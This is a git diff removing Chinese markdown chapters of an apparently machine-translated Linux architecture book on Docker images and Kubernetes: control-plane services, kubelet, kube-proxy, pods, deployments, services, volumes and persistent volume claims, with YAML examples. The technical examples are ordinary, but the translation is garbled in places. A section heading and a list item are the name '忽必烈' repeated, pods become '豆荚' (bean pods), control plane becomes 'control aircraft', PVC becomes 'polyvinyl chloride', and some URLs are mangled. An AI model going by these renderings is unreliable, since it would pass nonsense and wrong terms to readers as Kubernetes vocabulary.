-当然,这不是一个巨大的差异,但这只是一个例子,没有安装真正的应用。在生产映像中,您需要做的不仅仅是安装`apache2`。 - -现在,让我们利用我们学到的两种技术来缩小我们的形象: - -```sh -FROM alpine - -RUN apk update && \ - apk add mini_httpd && \ - mkdir /var/log/my_site - -COPY /my_site/ /var/www/localhost/htdocs/ -EXPOSE 80 - -CMD ["/usr/sbin/mini_httpd", "-D", "-d", "/var/www/localhost/htdocs/"] -``` - -这是图像的最终大小: - -| **储存库** | **尺寸** | -| `finalimage` | 5.79 兆字节 | - -现在,您可以看到在大小上有很大的差异——我们从 221 MB 传递到 217 MB,最终得到了 5.79 MB 的图像!这两张图片做了完全相同的事情,那就是服务于一个网页,但是足迹完全不同。 - -# 容器编排 - -既然我们知道如何创建图像,我们就需要一种方法来维护应用的期望状态。这里是容器管弦乐队进来的地方。容器编排者回答如下问题: - -* 如何维护我的应用,使它们高度可用? -* 如何按需扩展每个微服务? -* 如何在多台主机上平衡应用的负载? -* 如何限制应用在主机上的资源消耗? -* 如何轻松部署多个服务? - -使用容器编排器,管理您的容器从来没有像现在这样容易或高效。有几个可用的管弦乐队,但最广泛使用的是 Docker Swarm 和 Kubernetes。我们将在本章稍后讨论 Kubernetes,并在[第 7 章](07.html)*了解 Kubernetes 集群的核心组件*中对其进行更深入的研究。 - -所有编排者的共同点是,他们的基本架构是一个由一些主节点组成的集群,这些主节点监视您想要的状态,这些状态将保存在数据库中。然后,Masters 将根据负责容器工作负载的工作节点的状态来启动或停止容器。每个主节点还将负责根据您的预定义要求,规定哪个容器必须在哪个节点上运行,以及扩展或重新启动任何失败的实例。 - -然而,协调器不仅通过按需重启和启动容器来提供高可用性,Kubernetes 和 Docker Swarm 也有机制来控制到后端容器的流量,以便为应用服务的传入请求提供负载平衡。 - -下图演示了流向协调集群的流量: - -![](img/e5135807-8184-484f-b09d-84618971f17e.png) - -让我们进一步探索 Kubernetes。 - -# 忽必烈忽必烈忽必烈忽必烈忽必烈忽必烈忽必烈忽必烈忽必烈忽必烈 - -Kubernetes 是目前为止最受欢迎的容器编导。许多公共云提供商现在采用它作为事实上的容器编排者;比如拥有 **Azure Kubernetes 服务** ( **AKS** )、拥有**Kubernetes 弹性容器服务** ( **EKS** )的 Amazon Web Services、拥有 **Google Kubernetes 引擎** ( **GKE** )的 Google Cloud。这些解决方案中的大多数都是托管的,为用户抽象出管理平面以便于使用,并采用云原生解决方案,例如与公共云负载平衡器和 DNS 服务的集成。 - -Kubernetes 位于**平台即服务** ( **PaaS** )解决方案和**基础架构即服务** ( **IaaS** )解决方案的中间,因为它为您提供了运行容器和管理数据的平台,但它仍然允许您调配软件定义的基础架构,如负载平衡器、网络管理、入口控制和资源分配。 - -使用 Kubernetes,我们可以自动化部署容器和维护所需状态的过程,同时控制应用的资源消耗,并在不同的应用之间提供高可用性和隔离。 - -Kubernetes 拥有我们之前提到的基本管弦乐队组件;它有工作节点、主节点和保存集群状态的数据库。我们将在[第 7 章](07.html)*中开始深入探索 Kubernetes 概念,了解 Kubernetes 集群的核心组件*。 - -下图显示了 Kubernetes 的基本架构: - -![](img/bbdec0c7-d304-4b05-8631-31fa286aa2f1.png) - -# 摘要 - -在本章中,我们讨论了信息技术如何从单一设计发展到微服务,以及容器如何通过允许模块化基础设施来帮助我们实现这种类型的架构。我们使用在线商店的例子来演示微服务如何允许特定组件的可伸缩性,而不需要关闭整个应用。此外,我们通过讨论微服务方法如何在不影响整个解决方案的情况下只允许应用的一部分失败(也就是说,如何在不关闭整个在线商店的情况下仅审查部分失败),探索了同一个示例如何具有高可用性设计。 - -后来,我们学习了如何通过使用 Dockerfile 从图像创建容器,docker file 使用一组可读的指令来创建基本图像。在虚拟机环境中,映像可以被视为模板的副本。 - -从这个 Dockerfile 中,我们了解到一个`FROM`语句指示初始图像是什么,`LABEL`指令如何向容器添加元数据,`RUN`如何执行您需要准备容器来运行应用的命令,以及`ENV`如何为用于容器构建的环境设置变量。 - -此外,我们还讨论了构建容器映像时的一些最佳实践,例如使用较小的映像(例如 Alpine),以及选择较小的映像如何帮助减少构建的容器中存在的漏洞数量。 - -最后,我们快速浏览了一些可用的更流行的编排工具,这些工具是 Docker Swarm 和 Kubernetes。 - -在下一章中,我们将开始探索 Kubernetes 集群的核心组件。 - -# 问题 - -1. Kubernetes 的成分是什么? -2. GKE、EKS 和 AKS 有什么区别? -3. 容器免受攻击的安全性如何? -4. 在容器中部署应用有多容易? -5. Docker 容器和 Kubernetes 是 Linux 独有的吗? - -# 进一步阅读 - -* *掌握 Kubernetes* 作者:Gigi Sayfan:[https://www . packtpub . com/虚拟化与云/掌握-kubernetes](https://www.packtpub.com/virtualization-and-cloud/mastering-kubernetes) -* *开发人员的 Kubernetes*作者:Joseph Heck:[https://www . packtpub . com/虚拟化与云/kubernetes-developers](https://www.packtpub.com/virtualization-and-cloud/kubernetes-developers) -* *与 Kubernetes 的实践微服务*作者:Gigi Sayfan:[https://www . packtpub . com/虚拟化与云/实践微服务-kubernetes](https://www.packtpub.com/virtualization-and-cloud/hands-microservices-kubernetes) -* *Kubernetes 入门-第三版*作者:Jonathan Baier,杰西·怀特:[https://www . packtpub . com/虚拟化与云/入门-Kubernetes-第三版](https://www.packtpub.com/virtualization-and-cloud/getting-started-kubernetes-third-edition) -* *Mastering Docker -第二版*Russ McKendrick,Scott 加拉格尔:[https://www . packtpub . com/虚拟化与云/Mastering-Docker-第二版](https://www.packtpub.com/virtualization-and-cloud/mastering-docker-second-edition) -* *Docker Bootcamp* 作者:Russ McKendrick 等人:[https://www . packtpub . com/虚拟化与云/docker-bootcamp](https://www.packtpub.com/virtualization-and-cloud/docker-bootcamp) - -# 参考书目/来源 - -* 什么是微服务?:[http://microservices.io/](http://microservices.io/) -* 坞站中枢:https://hub . docker . com/ -* 生产级容器编排:[http://kubernetes.io/](http://kubernetes.io/) \ No newline at end of file diff --git a/docs/handson-linux-arch/07.md b/docs/handson-linux-arch/07.md deleted file mode 100644 index 101d851d..00000000 --- a/docs/handson-linux-arch/07.md +++ /dev/null @@ -1,461 +0,0 @@ -# 七、了解 Kubernetes 集群的核心组件 - -在本章中,我们将从 10,000 英尺的高度查看 Kubernetes 的主要组件,从每个控制器由什么组成,到每个工作人员如何部署和调度 pod 中的容器。了解 Kubernetes 集群的来龙去脉至关重要,以便能够部署和设计一个基于 Kubernetes 的解决方案,作为您的容器化应用的协调者: - -* 控制平面组件 -* Kubernetes 工人的部件 -* 作为基本构件的吊舱 -* Kubernetes 服务、负载平衡器和入口控制器 -* Kubernetes 部署和 DaemonSets -* Kubernetes 中的持久存储 - -# Kubernetes 控制飞机 - -Kubernetes 主节点是核心控制平面服务的所在地;并非所有服务都必须驻留在同一个节点上;但是,为了集中化和实用性,它们通常以这种方式部署。这显然提出了服务可用性的问题;然而,通过拥有几个节点并提供负载平衡请求来实现一组高度可用的**主节点**,可以轻松克服它们。 - -主节点由四个基本服务组成: - -* kube-apiserver -* kube 调度程序 -* 库贝-控制器-管理器 -* etcd 数据库 - -主节点可以在裸机服务器、虚拟机或私有云或公共云上运行,但不建议在其上运行容器工作负载。我们稍后会看到更多。 - -下图显示了 Kubernetes 主节点组件: - -![](img/7e921f9a-af2e-4baf-932e-7c58ac02a1ab.png) - -# kube-apiserver - -API 服务器是将一切联系在一起的东西。它是集群的前端 REST API,接收清单以创建、更新和删除 API 对象,如服务、pods、Ingress 等。 - -**kube-apiserver** 是我们唯一应该交谈的服务;它也是唯一一个写入`etcd`数据库并与之对话以注册集群状态的数据库。有了`kubectl`命令,我们会发送命令与之交互。这将是我们的瑞士军刀,当涉及到 Kubernetes。 - -# 库贝-控制器-管理器 - -简而言之, **kube-controller-manager** 守护进程是一组无限的控制循环,为了简单起见,以单个二进制文件的形式提供。它监视集群的定义的期望状态,并通过移动实现它所必需的所有部分来确保它被完成和满足。kube-controller-manager 不仅仅是一个控制器;它包含几个不同的环路,监视集群中的不同组件。其中一些是服务控制器、名称空间控制器、服务帐户控制器以及许多其他控制器。您可以在 Kubernetes GitHub 存储库中找到每个控制器及其定义: - -[https://github . com/kubricks/kubricks/tree/master/pkg/controller](https://github.com/kubernetes/kubernetes/tree/master/pkg/controller)。 - -# kube 调度程序 - -**kube-scheduler** 将新创建的 pods 调度到有足够空间满足 pods 资源需求的节点。它基本上监听 kube-apiserver 和 kube-controller-manager 新创建的 pods,这些 pods 被放入队列,然后由调度程序调度到可用的节点。kube-scheduler 的定义可以在这里找到: - -[https://github . com/kubricks/kubricks/blob/master/pkg/scheduler](https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/scheduler.go)。 - -除了计算资源之外,kube-scheduler 还读取节点的相似性和反相似性规则,以找出节点是否可以运行该 pod。 - -# etcd 数据库 - -**etcd** **数据库**是一个非常可靠的一致键值存储,用于存储 Kubernetes 集群的状态。它包含节点正在其中运行的 pods 的当前状态、集群当前有多少节点、这些节点的状态是什么、一个部署有多少副本正在运行、服务名称等等。 - -正如我们之前提到的,只有 kube-apiserver 与`etcd`数据库进行对话。如果 kube-controller-manager 需要检查集群的状态,它将通过 API 服务器从`etcd`数据库获取状态,而不是直接查询`etcd`商店。kube-scheduler 也是如此,如果调度程序需要让它知道一个 pod 已经被停止或者被分配给另一个节点;它将通知 API 服务器,API 服务器将当前状态存储在 etcd 数据库中。 - -使用 etcd,我们已经覆盖了 Kubernetes 主节点的所有主要组件,这样我们就可以管理集群了。但是集群不仅仅由主人组成;我们仍然需要通过运行应用来执行繁重工作的节点。 - -# Kubernetes 工作节点 - -在 Kubernetes 中执行此任务的工作节点简称为节点。此前,在 2014 年左右,他们被称为**爪牙**,但这个术语后来被替换为仅仅是节点,因为这个名字与 Salt 的术语混淆,使人们认为 Salt 在 Kubernetes 中扮演了主要角色。 - -这些节点是您将运行工作负载的唯一位置,因为不建议在主节点上有容器或负载,因为它们需要可用于管理整个集群。 - -就组件而言,节点非常简单;他们只需要三种服务来完成任务: - -* 忽必烈忽必烈忽必烈忽必烈忽必烈忽必烈忽必烈忽必烈忽必烈忽必烈忽必烈忽必烈忽必烈忽必烈忽必烈忽必烈 -* 立方体代理 -* 容器运行时 - -让我们更深入地探讨这三个组件。 - -# 容器运行时 - -为了能够旋转容器,我们需要一个**容器运行时间**。这是基础引擎,它将在节点内核中创建容器,供我们的 pods 运行。kubelet 将与这个运行时对话,并将根据需要加速或停止我们的容器。 - -目前,Kubernetes 支持任何符合 OCI 的容器运行时,如 Docker、`rkt`、`runc`、`runsc`等。 - -You can learn more about all the specifications from the OCI GitHub page: [https://github.com/opencontainers/runtime-spec](https://github.com/opencontainers/runtime-spec). - -# 库布雷人 - -**kubelet** 是一个低级的 Kubernetes 组件,也是继 kube-apiserver 之后最重要的组件之一;这两个组件对于在集群中提供 pods/容器都是必不可少的。kubelet 是一个运行在 Kubernetes 节点上的服务,它监听 API 服务器来创建 pod。kubelet 只负责启动/停止,并确保吊舱中的容器是健康的;kubelet 将无法管理任何不是它创建的容器。 - -kubelet 通过名为**容器运行时接口** ( **CRI** )的东西与容器运行时对话来实现目标。CRI 通过 gRPC 客户端向 kubelet 提供可插拔性,GRPc 客户端能够与不同的容器运行时对话。正如我们前面提到的,Kubernetes 支持多个容器运行时来部署容器,这就是它如何实现对不同引擎的如此多样的支持。 - -You can check the kubelet's source code via the following GitHub link: [https://github.com/kubernetes/kubernetes/tree/master/pkg/kubelet](https://github.com/kubernetes/kubernetes/tree/master/pkg/kubelet). - -# 库贝代理 - -**kube-proxy** 是驻留在集群的每个节点上的服务,它使吊舱、容器和节点之间的通信成为可能。该服务监视 kube-apiserver 上已定义服务的变化(在 Kubernetes 中,服务是一种逻辑负载平衡器;我们将在本章稍后深入探讨服务)并通过将流量转发到正确端点的`iptables`规则保持网络最新。Kube-proxy 还在`iptables`中设置了规则,在服务背后的吊舱之间进行随机负载平衡。 - -这里有一个由 kube 代理制定的`iptables`规则的例子: - -```sh --A KUBE-SERVICES -d 10.0.162.61/32 -p tcp -m comment --comment "default/example: has no endpoints" -m tcp --dport 80 -j REJECT --reject-with icmp-port-unreachable -``` - -This is a service with no endpoints (no pods behind it). - -现在,我们已经完成了组成集群的所有核心组件,我们可以谈论我们可以用它们做什么,以及 Kubernetes 将如何帮助我们编排和管理我们的容器化应用。 - -# 永恒的物体 - -**Kubernetes** **对象**正是:它们是逻辑持久对象或抽象,将代表你的集群的状态。您负责告诉 Kubernetes 您想要的那个对象的状态是什么,以便它可以工作来维护它,并确保该对象存在。 - -要创建一个对象,它需要具备两个条件:状态和规格。状态由 Kubernetes 提供,它是对象的当前状态。Kubernetes 将根据需要管理和更新该状态,以符合您想要的状态。另一方面,`spec`字段是您提供给 Kubernetes 的内容,是您告诉它描述您想要的对象的内容,例如,您希望容器运行的图像,您希望运行的图像的容器数量,等等。每个对象都有特定的`spec`字段用于它们执行的任务类型,您将在一个 YAML 文件上提供这些规范,该文件通过`kubectl`发送到 kube-apiserver,后者将其转换为 JSON 并作为 API 请求发送。我们将在本章后面深入探讨每个对象及其规格字段。 - -这里有一个 YAML 被送到`kubectl`的例子: - -```sh -cat << EOF | kubectl create -f - -kind: Service -apiVersion: v1 -metadata: - Name: frontend-service -spec: - selector: - web: frontend - ports: - - protocol: TCP - port: 80 - targetPort: 9256 -EOF -``` - -对象定义的基本字段是第一个,这些字段不会因对象而异,并且非常不言自明。让我们快速看一下它们: - -* `kind`:`kind`字段告诉 Kubernetes 您正在定义什么类型的对象:pod、服务、部署等等 -* `apiVersion`:因为 Kubernetes 支持多个 API 版本,所以我们需要指定一个 REST API 路径,我们希望将我们的定义发送到该路径 -* `metadata`:这是一个嵌套字段,这意味着您还有几个子字段指向元数据,您将在其中编写基本定义,如对象的名称,将其分配给特定的命名空间,并为其标记一个标签,以将您的对象与其他 Kubernetes 对象相关联 - -所以,我们现在已经浏览了最常用的字段及其内容;您可以在下面的 GitHub 页面了解更多关于 Kuberntes API 约定的信息: - -[https://github . com/kubernetes/community/blob/master/contributor/dev/API-convents . MD](https://github.com/kubernetes/community/blob/master/contributors/devel/api-conventions.md)。 - -创建对象后,可以修改对象的某些字段,但这取决于对象和要修改的字段。 - -以下是您可以创建的各种 Kubernetes 对象的简短列表: - -* 豆荚 -* 卷 -* 服务 -* 部署 -* 进入 -* 秘密 -* ConfigMap(配置地图) - -还有很多。 - -让我们仔细看看这些项目。 - -# 豆荚——Kubernetes 的基础 - -豆荚是 Kubernetes 中最基本的物品,也是最重要的物品。一切都围绕着他们转;我们可以说 Kubernetes 是为豆荚准备的!所有其他物体都在这里为它们服务,它们所做的所有任务都是让豆荚达到你想要的状态。 - -那么,什么是豆荚,为什么豆荚如此重要? - -pod 是一个逻辑对象,它在同一个网络命名空间、同一个**进程间通信** ( **IPC** )以及有时,根据 Kubernetes 的版本,同一个**进程 ID** ( **PID** )命名空间上一起运行一个或多个容器。这是因为它们将运行我们的容器,因此将成为关注的中心。Kubernetes 的全部意义在于成为一个容器编排者,通过 pods,我们使编排成为可能。 - -正如我们之前提到的,同一个 pod 上的容器生活在一个“泡泡”中,它们可以通过 localhost 相互通信,因为它们彼此都是本地的。一个 pod 中的一个容器与另一个容器具有相同的 IP 地址,因为它们共享一个网络名称空间,但是在大多数情况下,您将在一对一的基础上运行,也就是说,每个 pod 只有一个容器。每个 pod 多个容器仅在非常特定的场景中使用,例如当应用需要一个助手(如数据推送器或代理)时,该助手需要以快速和灵活的方式与主应用通信。 - -定义 pod 的方式与定义任何其他 Kubernetes 对象的方式相同:通过包含所有 pod 规格和定义的 YAML; - -```sh -kind: Pod -apiVersion: v1 -metadata: -name: hello-pod -labels: - hello: pod -spec: - containers: - - name: hello-container - image: alpine - args: - - echo - - "Hello World" -``` - -让我们浏览一下`spec`字段下创建 pod 所需的基本 pod 定义: - -* **集装箱:**集装箱是一个阵列;因此,我们在它下面有一组几个子字段。基本上,它定义了将在 pod 上运行的容器。我们可以为容器指定一个名称、将要派生的图像以及运行它所需的参数或命令。参数和命令之间的区别与我们在[第 6 章](06.html)、*创建高可用性自愈体系结构*中谈到创建 Docker 映像时所经历的`CMD`和`ENTRYPOINT`之间的区别相同。请注意,我们刚刚经过的所有字段都是用于`containers`数组的。它们不是吊舱`spec`的直接部分。 -* **restartPolicy:** 这个字段就是这样的:它告诉 Kubernetes 如何处理一个容器,在零或非零退出代码的情况下,它适用于 pod 中的所有容器。您可以从“从不”、“失败”或“始终”选项中进行选择。在未定义 restartPolicy 的情况下,始终为默认值。 - -这些是你要在吊舱上声明的最基本的规格;其他规范将要求您对如何使用它们以及它们如何与各种其他 Kubernetes 对象交互有更多的背景知识。我们将在本章稍后部分重新讨论它们,其中一些如下: - -* 卷 -* 包封/包围(动词 envelop 的简写) -* 港口 -* dnspoilcy -* initContainers -* 节点选择器 -* 资源限制和请求 - -要查看集群中当前正在运行的吊舱,您可以运行`kubectl get pods`: - -```sh -dsala@MININT-IB3HUA8:~$ kubectl get pods -NAME READY STATUS RESTARTS AGE -busybox 1/1 Running 120 5d -``` - -或者,您可以在不指定任何 pod 的情况下运行`kubectl describe pods`。这将打印出集群中运行的每个 pod 的描述。在这种情况下,它将只是`busybox`吊舱,因为它是当前唯一运行的吊舱: - -```sh -dsala@MININT-IB3HUA8:~$ kubectl describe pods -Name: busybox -Namespace: default -Priority: 0 -PriorityClassName: -Node: aks-agentpool-10515745-2/10.240.0.6 -Start Time: Wed, 19 Sep 2018 14:23:30 -0600 -Labels: -Annotations: -Status: Running -IP: 10.244.1.7 -Containers: - busybox: -[...] (Output truncated for readability) -Events: -Type Reason Age From Message ----- ------ ---- ---- ------- -Normal Pulled 45s (x121 over 5d) kubelet, aks-agentpool-10515745-2 Container image "busybox" already present on machine -Normal Created 44s (x121 over 5d) kubelet, aks-agentpool-10515745-2 Created container -Normal Started 44s (x121 over 5d) kubelet, aks-agentpool-10515745-2 Started container -``` - -Pods 是致命的,这是知道如何管理应用的线索。你必须明白,一旦一个豆荚死亡或被删除,就没有办法把它带回来。它的 IP 和在它上面运行的容器将会消失;它们完全是短暂的。作为卷装载的 pods 上的数据可能存在,也可能不存在,这取决于您如何设置它;然而,这是我们将在本章后面进行的讨论。如果我们的吊舱死亡,我们失去了它们,我们如何确保我们所有的微服务都在运行?部署就是答案。 - -# 部署 - -pod 本身并不是很有用,因为让我们的应用的多个实例在一个 pod 中运行效率并不高。在不同的单元上提供数百份我们的应用,而没有一种方法去寻找它们,将会很快失控。 - -这就是部署发挥作用的地方。通过部署,我们可以使用控制器管理我们的吊舱。这使得我们不仅可以决定我们想要运行多少,而且我们还可以通过更改我们的容器正在运行的映像版本或映像本身来管理更新。部署是您大部分时间要处理的事情。对于部署以及我们之前提到的 pods 和任何其他对象,它们在 YAML 文件中有自己的定义: - -```sh -apiVersion: apps/v1 -kind: Deployment -metadata: - name: nginx-deployment - labels: - deployment: nginx -spec: - replicas: 3 - selector: - matchLabels: - app: nginx - template: - metadata: - labels: - app: nginx - spec: - containers: - - name: nginx - image: nginx:1.7.9 - ports: - - containerPort: 80 -``` - -让我们开始探索它们的定义。 - -在 YAML 之初,我们有更多的通用领域,如`apiVersion`、`kind`、`metadata`。但是在`spec`下,我们将找到这个应用编程接口对象的具体选项。 - -在`spec`下,我们可以添加以下字段: - -* **选择器**:通过选择器字段,部署将知道在应用更改时目标是哪个吊舱。选择器下有两个字段供您使用:`matchLabels`和`matchExpressions`。使用`matchLabels`,选择器将使用豆荚的标签(键/值对)。需要注意的是,您在此指定的所有标签都将是`ANDed`。这意味着吊舱将要求其具有您在`matchLabels`下指定的所有标签。`matchExpressions`很少使用,但是你可以在*进一步阅读*部分阅读我们推荐的书籍来了解更多。 -* **副本**:这将通过复制控制器说明部署需要保持运行的吊舱数量;例如,如果您指定三个副本,并且其中一个 pod 死亡,复制控制器将观察副本规范作为所需的状态,并通知调度程序调度新的 pod,因为自从 pod 死亡以来,当前状态现在是 2。 -* **修订历史限制**:每次您对部署进行更改时,此更改都会保存为部署的修订,您可以稍后恢复到以前的状态,或者记录更改的内容。您可以通过`kubectl`部署历史/部署名称>查询您的历史。使用`revisionHistoryLimit`,您可以设置一个数字,说明您想要保存多少条记录。 -* **策略**:这将让你决定如何处理任何更新或水平吊舱规模。要覆盖默认值`rollingUpdate`,需要写`type`键,可以选择两个值:`recreate`或`rollingUpdate`。虽然`recreate`是更新您的部署的快速方法,它将删除所有的吊舱,并用新的替换它们,但是它将意味着您将不得不考虑到对于这种类型的策略,系统停机将会发生。另一方面,`rollingUpdate`更流畅、更慢,非常适合能够重新平衡数据的有状态应用。`rollingUpdate`开启了另外两个领域的大门,分别是`maxSurge`和`maxUnavailable`。第一个是在执行更新时,你想要的总数量之上有多少个豆荚;例如,具有 100 个吊舱和 20% `maxSurge`的部署在更新时最多将增长到 120 个吊舱。下一个选项将让你选择你愿意杀死多少个豆荚,以便在 100 个豆荚的情况下用新豆荚替换它们。在有 20% `maxUnavailable`的情况下,只有 20 个吊舱将被杀死,并在继续替换部署的其余部分之前用新的吊舱替换。 -* **模板**:这只是一个嵌套的 pod 规范字段,您将在其中包含部署将要管理的 pod 的所有规范和元数据。 - -我们已经看到,通过部署,我们管理我们的吊舱,它们帮助我们将吊舱保持在我们期望的状态。所有这些吊舱仍然在一个叫做**集群网络**的东西中,这是一个封闭的网络,在这个网络中,只有 Kubernetes 集群组件可以相互通信,甚至有自己的一组 IP 范围。我们如何从外面和我们的豆荚说话?我们如何到达我们的应用?这就是服务发挥作用的地方。 - -# 服务 - -名称*服务*没有完全描述在 Kubernetes 中服务实际上做什么。Kubernetes 服务将流量路由到我们的吊舱。我们可以说服务是将豆荚捆绑在一起的东西。 - -让我们假设我们有一个典型的前端/后端类型的应用,其中我们的前端模块通过模块的 IP 地址与后端模块进行对话。如果后端的一个吊舱死亡,我们知道吊舱是短暂的,因此我们失去了与后端的通信,所以现在我们处于一个受伤的世界。这不仅是因为新的 pod 将不会与死亡的 pod 具有相同的 IP 地址,而且现在我们还必须重新配置我们的应用以使用新的 IP 地址。这个问题和类似的问题可以通过服务来解决。 - -服务是一个逻辑对象,它告诉 kube-proxy 根据服务背后的 pods 创建 iptables 规则。服务配置它们的端点,这就是服务背后的单元的调用方式,就像部署知道要控制哪些单元、选择器字段和单元的标签一样。 - -此图显示了服务如何使用标签来管理流量: - -![](img/1a03e05d-be3b-4a05-a7ff-7808314eb329.png) - -服务不仅会让 kube-proxy 创建路由流量的规则;它还会触发一些叫做 **kube-dns** 的东西。 - -Kube-dns 是一组带有`SkyDNS`容器的 pods,它们运行在提供 dns 服务器和转发器的集群上,这将为服务创建记录,有时是 pods 以便于使用。每当您创建一个服务时,指向该服务的内部集群 IP 地址的 DNS 记录将以`service-name.namespace.svc.cluster.local`的形式创建。您可以在 Kubernetes GitHub 页面上了解更多关于 Kubernetes DNS 规范的信息:https://GitHub . com/Kubernetes/DNS/blob/master/docs/specification . MD。 - -回到我们的例子,我们现在只需要配置我们的应用来与服务**完全限定域名** ( **FQDN** )对话,以便与我们的后端豆荚对话。这样,豆荚和服务的 IP 地址就不重要了。如果服务后面的一个 pod 死了,服务将通过使用 A 记录来处理一切,因为我们将能够告诉我们的前端将所有流量路由到 my-svc。服务的逻辑将处理其他一切。 - -每当在 Kubernetes 中声明要创建的对象时,都可以创建几种类型的服务。让我们仔细看看哪一种最适合我们需要的工作类型: - -* **集群 IP** :这是默认服务。无论何时创建集群 IP 服务,它都会创建一个具有集群内部 IP 地址的服务,该地址只能在 Kubernetes 集群内部路由。这种类型非常适合只需要相互对话而不需要离开集群的吊舱。 -* **节点端口**:当您创建这种类型的服务时,默认情况下会分配一个从`30000`到`32767`的随机端口,用于将流量转发到服务的端点吊舱。您可以通过在`ports`数组中指定节点端口来覆盖此行为。一旦定义好了,你就可以通过`` : ``进入你的吊舱。这对于通过节点 IP 地址从集群外部访问您的豆荚非常有用。 -* **负载均衡器**:大多数时候,你会在云提供商上运行 Kubernetes。负载平衡器类型非常适合这些情况,因为您可以通过云提供商的应用编程接口为您的服务分配公共 IP 地址。当您想要从集群外部与您的 pods 通信时,这是理想的服务。使用负载平衡器,您不仅可以分配公共 IP 地址,还可以使用 Azure 从虚拟专用网络中分配私有 IP 地址。因此,您可以通过互联网或在您的专用子网内部与您的 pods 进行对话。 - -让我们回顾一下 YAML 对服务的定义: - -```sh -apiVersion: v1 -kind: Service -metadata: - name: my-service -spec: - selector: - app: front-end - type: NodePort - ports: - - name: http - port: 80 - targetPort: 8080 - nodePort: 30024 - protocol: TCP -``` - -服务的 YAML 非常简单,规格会有所不同,这取决于您创建的服务类型。但是您必须考虑的最重要的事情是端口定义。让我们看看这些: - -* `port`:这是暴露的服务端口 -* `targetPort`:这是 pods 上服务向其发送流量的端口 -* `nodePort`:这是将要暴露的端口 - -虽然我们现在了解了如何与集群中的 pod 进行通信,但我们仍然需要了解如何管理每次 pod 终止时丢失数据的问题。这就是**持续卷** ( **PV** )发挥作用的地方。 - -# Kubernetes 和持久存储 - -**集装箱世界中的持久存储**是一个严重的问题。当我们研究 Docker 映像时,我们了解到跨容器运行的唯一持久存储是映像的层,并且它们是只读的。容器运行的层是读/写的,但是当容器停止时,该层中的所有数据都会被删除。有了豆荚,这是一样的。当容器死亡时,写入其中的数据就消失了。 - -Kubernetes 有一组对象来处理豆荚间的存储。我们首先要讨论的是卷。 - -# 卷 - -**卷**解决了持久存储最大的问题之一。首先,体积实际上不是物体,而是吊舱规格的定义。创建容器时,可以在容器的规格字段下定义体积。此窗格中的容器将能够在其装载命名空间上装载该卷,并且该卷将在容器重新启动或崩溃时可用。不过,卷是绑定到容器的,如果容器被删除,卷也将消失。卷上的数据是另一回事;数据持久性将取决于该卷的后端。 - -Kubernetes 支持几种类型的卷或卷源,以及它们在 API 规范中的调用方式,范围从本地节点的文件系统映射、云提供商的虚拟磁盘和软件定义的存储备份卷。本地文件系统装载是常规卷中最常见的装载。需要注意的是,使用本地节点文件系统的缺点是数据不能在集群的所有节点上使用,只能在计划 pod 的那个节点上使用。 - -让我们来看看在 YAML 如何定义带有体积的吊舱: - -```sh -apiVersion: v1 -kind: Pod -metadata: - name: test-pd -spec: - containers: - - image: k8s.gcr.io/test-webserver - name: test-container - volumeMounts: - - mountPath: /test-pd - name: test-volume - volumes: - - name: test-volume - hostPath: - path: /data - type: Directory -``` - -注意`spec`下面怎么有个叫`volumes`的字段,然后又有个叫`volumeMounts`的。 - -第一个字段(`volumes`)是您定义要为该 pod 创建的卷的位置。此字段将始终需要名称,然后是卷源。根据来源的不同,要求也会有所不同。在这个例子中,源是`hostPath`,这是一个节点的本地文件系统。`hostPath`支持多种类型的映射,从目录、文件、块设备,甚至 Unix 套接字。 - -在第二个字段`volumeMounts`下,我们有`mountPath,`,它是您定义容器内要将卷装载到的路径的地方。`name`参数是您如何指定吊舱使用哪个体积。这很重要,因为您可以在`volumes`下定义几种类型的卷,并且名称将是 pod 知道哪些卷安装到哪个容器的唯一方法。 - -我们不会浏览所有不同类型的卷,因为除非您要使用特定的卷,否则了解它们是不相关的。重要的是要知道它们的存在,以及我们可以有什么样的来源。 - -您可以在 Kubernetes 网站([https://Kubernetes . io/docs/concepts/storage/volumes/# volumes-type-of-volumes](https://kubernetes.io/docs/concepts/storage/volumes/#types-of-volumes))和 Kubernetes API 参考文档([https://Kubernetes . io/docs/reference/generated/Kubernetes-API/v 1.11/# volume-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.11/#volume-v1-core))中了解有关卷定义不同类型的更多信息。 - -让卷随豆荚一起死去并不理想。我们需要持久的存储,这就是对 PVs 的需求。 - -# 持久卷、持久卷声明和存储类 - -卷和 PVs 之间的主要区别在于,与卷不同,PVs 实际上是 Kubernetes API 对象,因此您可以像单独的实体一样单独管理它们,因此即使在 pod 被删除后,它们仍然存在。 - -你可能想知道为什么这个小节有 PV、**持久卷声明** ( **PVCs** )和存储类都混在里面。这是因为我们不能只谈一个而不谈其他的;所有这些都是相互依赖的,理解它们之间的相互作用对于为我们的豆荚提供存储至关重要。 - -让我们从 PVs 和 PVCs 开始。像卷一样,卷也有一个存储源,所以卷的机制也适用于此。您将拥有一个提供**逻辑单元号**(**LUN**)的软件定义的存储集群,一个提供虚拟磁盘的云提供商,甚至一个到 Kubernetes 节点的本地文件系统,但是在这里,它们不是被称为卷源,而是被称为**持久卷类型**。 - -PVs 非常像存储阵列中的 LUN:您创建它们,但没有映射;它们只是一堆等待使用的已分配存储。这里是聚氯乙烯发挥作用的地方。PVC 就像 LUN 映射:它们被备份或绑定到 PV,也是您实际定义、关联并提供给 pod 的内容,然后 pod 可以将其用于容器。 - -你在豆荚上使用 PVC 的方式和正常体积完全一样。您有两个字段:一个用于指定要使用的聚氯乙烯,另一个用于告诉容器在哪个容器上使用该聚氯乙烯。 - -聚氯乙烯应用编程接口对象定义的 YAML 应具有以下代码: - -```sh -apiVersion: v1 -kind: PersistentVolumeClaim -metadata: - name: gluster-pvc -spec: - accessModes: - - ReadWriteMany - resources: - requests: - storage: 1Gi -``` - -`pod`的 YAML 应具有以下代码: - -```sh -kind: Pod -apiVersion: v1 -metadata: - name: mypod -spec: - containers: - - name: myfrontend - image: nginx - volumeMounts: - - mountPath: "/mnt/gluster" - name: volume - volumes: - - name: volume - persistentVolumeClaim: - claimName: gluster-pvc -``` - -当 Kubernetes 管理员创建 PVC 时,有两种方法可以满足该请求: - -* **静态**:已经创建了几个 PV,然后当用户创建一个 PVC 的时候,任何可以满足需求的可用 PV 都会绑定到那个 PVC 上。 -* **动态**:部分 PV 类型可以基于 PVC 定义创建 PVs。创建 PVC 时,PV 类型会动态创建一个 PV 对象,并在后端分配存储;这是动态供应。动态资源调配的问题在于,您需要第三种类型的 Kubernetes 存储对象,称为**存储类**。 - 